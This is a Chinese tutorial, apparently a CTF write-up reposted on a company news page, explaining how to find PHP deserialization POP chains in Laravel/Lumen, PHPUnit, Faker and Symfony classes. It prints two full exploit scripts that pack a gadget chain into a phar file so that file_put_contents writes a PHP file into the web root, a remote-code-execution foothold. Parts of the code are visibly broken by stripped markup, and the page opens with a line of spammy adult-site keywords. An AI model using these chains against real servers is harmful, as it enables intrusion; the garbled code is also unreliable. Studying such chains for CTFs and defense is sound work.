真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

PHP反序列化中怎樣尋找POP鏈

本篇文章為大家展示了PHP反序列化中怎樣尋找POP鏈,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

我們提供的服務(wù)有:網(wǎng)站設(shè)計(jì)制作、網(wǎng)站制作、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、五通橋ssl等。為近1000家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的五通橋網(wǎng)站制作公司

code-breakinglumenserial為例,練習(xí)PHP反序列化 POP鏈的尋找。

POP鏈一

我們直接搜索 'function dispatch(',發(fā)現(xiàn)有一個 Dispatcher類的 dispatchToQueue方法中調(diào)用的 call_user_func函數(shù)兩個參數(shù)都可控,而且 dispatch中調(diào)用了 dispatchToQueue方法,代碼如下:

PHP反序列化中怎樣尋找POP鏈

從代碼中我們可以看到,只要傳入的 $command變量是 ShouldQueue類的實(shí)例即可。通過搜索,我們會發(fā)現(xiàn) ShouldQueue是一個接口,那么我們找到其實(shí)現(xiàn)類即可。直接搜索 'implements ShouldQueue',我們隨便選取一個實(shí)現(xiàn)類即可,這里我選用 CallQueuedClosure類,相關(guān)代碼如下:PHP反序列化中怎樣尋找POP鏈

現(xiàn)在 call_user_func函數(shù)的兩個參數(shù)都可控,又變成了我們可以調(diào)用任意對象的任意方法了,這樣我們有可以利用上篇文章中的方法,調(diào)用 ReturnCallback類的 invoke方法,并傳入 StaticInvocation類的對象作為參數(shù),形成整個完整的 POP鏈,利用 exp如下:

events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent{
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
};
namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback
    {
        private $callback;
        public function __construct($callback)
        {
            $this->callback = $callback;
        }
    }
};
namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        private $parameters;
        public function __construct($parameters){
            $this->parameters = $parameters;
        }
    }
};
namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
};
namespace{
    $function = 'file_put_contents';
    $parameters = array('/var/www/html/11.php','');

    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation);
    $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke'));
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
    $o = $pendingbroadcast;

    $filename = 'poc.phar';// 后綴必須為phar,否則程序無法運(yùn)行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
};
?>

我們再通過下面這張圖片,來理清整個 POP鏈的調(diào)用過程。

PHP反序列化中怎樣尋找POP鏈

POP鏈二

接下來這個 POP鏈思路是參考 這篇 文章,尋找 POP鏈的思路還是從 dispatch方法入手。在上篇文章中,我們發(fā)現(xiàn)第一個 RCE走了 Generator類的 __call方法,這個方法作為 POP鏈中的一部分極其好用,因?yàn)?call_user_func_array方法中的兩個參數(shù)完全可控。我們只要找到方法中存在形如 this->$object->$method($arg1,$arg2),且 $object、 $method、 $arg1$arg2四個參數(shù)均可控制,那么就可以利用這個 Generator類的 __call方法,最終調(diào)用 call_user_func_array('file_put_contents',array('1.php','xxx'))。

PHP反序列化中怎樣尋找POP鏈

我們繼續(xù)搜索 dispatch,會發(fā)現(xiàn)一個 TraceableEventDispatcher類的 dispatch方法,其代碼如下:

PHP反序列化中怎樣尋找POP鏈

我們發(fā)現(xiàn)其調(diào)用了 preProcess方法,傳入的 $eventName變量是可控的,我們跟進(jìn)該方法, 具體代碼如下:

PHP反序列化中怎樣尋找POP鏈

可以看到我們得讓 $this->dispatcher->hasListeners($eventName)返回 true,否則返回的空值對我們無用。然后 第12行getListeners方法返回的值得是一個數(shù)組,這樣我們才能進(jìn)入 foreach結(jié)構(gòu)里。之所以要進(jìn)到 foreach結(jié)構(gòu)里,是因?yàn)槲覀冊?第16行看到了 $this->dispatcher->removeListener($eventName, $listener),結(jié)構(gòu)形如: this->$object->$method($arg1,$arg2),前三個參數(shù)可以按照如下構(gòu)造:

this->$object =  new Faker\Generator();
this->$object->$method = 'removeListener';
arg1 = '/var/www/html/1.php';
this->formatters['removeListener'] = 'file_put_contents';

這樣子構(gòu)造之后,執(zhí)行到 $this->dispatcher->removeListener($eventName, $listener)時,就會調(diào)用 Generator類的 __call方法,繼而執(zhí)行 call_user_func_array('file_put_contents',array('/var/www/html/upload/1.php',$listener)),所以我們只要再確保第四個參數(shù) $listener可控即可。

現(xiàn)在我們再回到上面 第6行if語句,我們需要先繞過這個判斷條件。該代碼會調(diào)用 Faker\Generator類的 hasListeners方法,進(jìn)而觸發(fā) __call方法,那么我們只要將 this->formatters['hasListeners']設(shè)置成 'strlen'即可,之后就會調(diào)用 call_user_func_array('strlen','var/www/html'),這樣就可以繞過 if語句。

j接著我們再回到 foreach語句,繼續(xù)搜索可利用的 getListeners方法,看看是否可以返回一個可控?cái)?shù)組(返回?cái)?shù)組才能進(jìn)入 foreach語句)。通過搜索,我們會發(fā)現(xiàn)一個 Dispatcher類的 getListeners符合我們的要求,其具體代碼如下:

PHP反序列化中怎樣尋找POP鏈

此時 $eventName是我們傳入的 '/var/www/html/upload/1.php',很明顯上面的代碼中可以返回一個數(shù)組,而且數(shù)組的值完全可控。

剛才 foreach中的 $this->dispatcher->getListeners()調(diào)用的是 Faker\Generator類的 getListeners方法,現(xiàn)在我們要想辦法讓它調(diào)用 Dispatcher類的 getListeners方法。我們再看一下剛才 Generator的調(diào)用流程圖:

PHP反序列化中怎樣尋找POP鏈

可以看到只要我們將 this->providers設(shè)置為 array(Dispatcher類)即可,之后的調(diào)用就類似于 call_user_func_array(array(Dispatcher類,'getListeners'),'/var/www/html/1.php')

現(xiàn)在基本完成了整個利用鏈,不過在執(zhí)行到 $this->dispatcher->removeListener($eventName, $listener)之前,還有一些額外的代碼需要執(zhí)行,我們要確保這些代碼不會影響我們下面的方法,所以我們需要繼續(xù)看 foreach下面的代碼(這里說的是 TraceableEventDispatcherpreProcess方法中的 foreach)。

我們看到其調(diào)用了本類的 getListenerPriority方法,具體代碼如下:

PHP反序列化中怎樣尋找POP鏈

我們看到 第16行,返回 $this->dispatcher->getListenerPriority($eventName, $listener),簡直完美。我們可以不用執(zhí)行到剛才的 removeListener方法,直接到這里就可以完成整個 POP鏈了。最終的利用 exp如下:

listeners[$parameter['filename']] = array($parameter['contents']);
        }
    }
};
namespace Faker{
    class Generator{
        protected $providers;
        protected $formatters;
        public function __construct($providers,$formatters){
            $this->providers = $providers;
            $this->formatters = $formatters;
        }
    }
};
namespace Symfony\Component\EventDispatcher\Debug{
    class TraceableEventDispatcher{
        private $dispatcher;
        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }
};
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $parameter){
            $this->events = $events;
            $this->event = $parameter['filename'];
        }
    }
}

namespace {
    $function = 'file_put_contents';
    $parameters = array('filename' => '/var/www/html/1.php','contents' => '');

    $dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function);
    $generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
    $traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);
    $o = $pendingbroadcast;

    $filename = 'poc.phar';// 后綴必須為phar,否則程序無法運(yùn)行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89asetMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
}
?>

我們再通過下面這張圖片,來理清整個 POP鏈的調(diào)用過程。

PHP反序列化中怎樣尋找POP鏈

上述內(nèi)容就是PHP反序列化中怎樣尋找POP鏈,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


文章題目:PHP反序列化中怎樣尋找POP鏈
網(wǎng)頁URL:http://weahome.cn/article/ggjjpd.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部